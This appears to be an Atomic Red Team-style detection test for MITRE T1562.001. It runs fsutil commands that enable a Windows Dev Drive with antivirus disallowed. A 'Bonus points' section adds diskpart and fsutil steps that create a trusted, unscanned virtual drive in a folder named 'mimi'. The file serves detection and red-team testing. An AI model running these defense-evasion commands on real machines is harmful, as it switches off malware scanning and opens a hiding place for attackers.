T1562.001 Atomic Test - https://x.com/0gtweet/status/1720419490519752955?s=20 - https://x.com/Kostastsale/status/1721271281705001306?s=20

T1562.001.yaml

- name: Enable Dev Drive With Disabled AV Using Fsutil
  description: |
    This test simulates an adversary enabling a Developer Drive using fsutil.exe with arguments that disable antivirus (AV) on the created drive. 
    This technique requires administrative privileges and is relevant for Windows 11 environments starting with Build #10.0.22621.2338 or later. 
    The execution of this command should be closely monitored and flagged in production environments.
    Ref. https://x.com/0gtweet/status/1720419490519752955?s=20 and https://x.com/Kostastsale/status/1721271281705001306?s=20
  supported_platforms:
  - windows
  executor:
    name: powershell
    elevation_required: true
    command: |
      fsutil.exe devdrv enable
      fsutil.exe devdrv enable /disallowav

Bonus points:

md c:\temp\mimi 
cd /d c:\temp\mimi
echo create vdisk file="c:\temp\mimi\mimi.vhdx" maximum=10240 type=expandable >> diskpart.txt
echo select vdisk file="c:\temp\mimi\mimi.vhdx" >> diskpart. txt 
echo attach vdisk >>diskpart.txt
echo assign letter=b >> diskpart.txt 
echo exit >> diskpart.txt

diskpart /s c: \temp\mimi\diskpart.txt

format b: /devdrv /q /y

fsutil devdrv clearFiltersAllowed b:
fsutil devdrv trust b:
fsutil devdrv query b: